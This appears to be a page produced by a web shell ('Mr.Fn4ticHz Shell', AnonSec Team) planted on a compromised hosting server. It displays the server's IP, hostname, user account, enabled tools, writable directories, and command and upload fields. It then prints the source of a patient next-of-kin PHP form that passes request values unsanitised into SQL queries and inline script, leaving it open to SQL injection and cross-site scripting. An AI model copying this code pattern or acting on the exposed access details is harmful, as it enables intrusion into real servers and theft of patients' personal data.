Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.191.68.18
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/kindetails.php
<?php
session_start();
include("headers.php");
include("patient_menu.php");
include("dbconnection.php");

if(isset($_POST[submit]))
{
	
		{
		$sql ="INSERT INTO kindetails(patientid,name,relation,mobileno) values('$_POST[patientid]','$_POST[name]','$_POST[relation]','$_POST[mobileno]')";
		if($qsql = mysqli_query($con,$sql))
		{
				echo "<script>alert('kin  record inserted successfully...');</script><script>window.location='patient_basic.php?patientid=$_GET[patientid]'</script>;</script>";
		}
		else
		{
			echo mysqli_error($con);
		}
	}
}

if(isset($_SESSION[patientid]))
{
$sqlpatient = "SELECT * FROM patient WHERE patientid='$_SESSION[patientid]' ";
$qsqlpatient = mysqli_query($con,$sqlpatient);
$rspatient = mysqli_fetch_array($qsqlpatient);
$readonly = " readonly";
}
?>


<?PHP
$DisplayForm=True;
		$sql ="SELECT * FROM kindetails WHERE patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rh = mysqli_fetch_array($qsql))
		{
$DisplayForm=False;
echo "<script>window.location='show_kindetails.php?patientid=$rh[patientid]'</script>";
}
if($DisplayForm)
{
?>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>

  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>

     <script type="text/javascript">
$(document).ready(function(){
    $('#myForm').submit(function() {
     $('#loaderImg').show(); 
      return true;
    });
});
  </script>
<style>
      #loaderImg {
         position: absolute;
         top: 0;
         bottom: 0;
         left: 0;
         right: 0; 
         margin: auto;
         border: 10px solid grey;
         border-radius: 50%;
         border-top: 10px solid black;
         width: 100px;
         height: 100px;
         animation: spin 1s linear infinite;
      }
      @keyframes spin {
         0% {
            -webkit-transform: rotate(0deg);
            transform: rotate(0deg);
         }
         100% {
            -webkit-transform: rotate(360deg);
            transform: rotate(360deg);
         }
      }
   </style>
 <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
        <div style = "display:none;" id = "loaderImg"> <div class="loader"> </div> </div>
   <form method="post" action="" id="myForm" name="submit" onSubmit="return validateform()">
    <table width="532" border="3">
	<table id="example2" class="table table-bordered table-hover">  
      <tbody>
	        
            <?php
		  	$sqlpatient= "SELECT * FROM patient WHERE patientid='$_GET[patientid]'";
			$qsqlpatient = mysqli_query($con,$sqlpatient);
			while($rspatient=mysqli_fetch_array($qsqlpatient))
			{
				echo "<input type='hidden' name='patientid' id='patientid' value='$rspatient[patientid]'></td>";
			}
		  ?>
                  <tr>
          <td height="62"> Name of Kin</td>
          <td><input type="text" placeholder="Name of Kin" name="name"></td>
        </tr>
		 <tr>
          <td height="62">Relation</td>
          <td><select name="relation">
<option value="" disabled selected>Relation</option>
<option value="Spouse">Spouse</option>
    <option value="Son">Son</option>
    <option value="Daughter">Daughter</option>
    <option value="Sibling">Sibling</option>
            <option value="Parent">Parent</option>
           <option value="Grand Parent">Grand Parent</option>
            <option value="Grand Child">Grand Child</option>
            <option value="Other">Other</option>
</select>
</td>
        </tr>
            <tr>
          <td height="62"> Mobile No</td>
          <td><input type="text" placeholder="Mobile Number" name="mobileno"></td>
        </tr>
        <tr>
          <td colspan="2" align="center"><input type="submit" name="submit" id="submit" value="Submit" /></td>
        </tr>
      </tbody>
    </table>
    </form>
    <p>&nbsp;</p>

</div></div>
<?php
include("footer.php");
?>


<?PHP
}
?>

Anon7 - 2022
AnonSec Team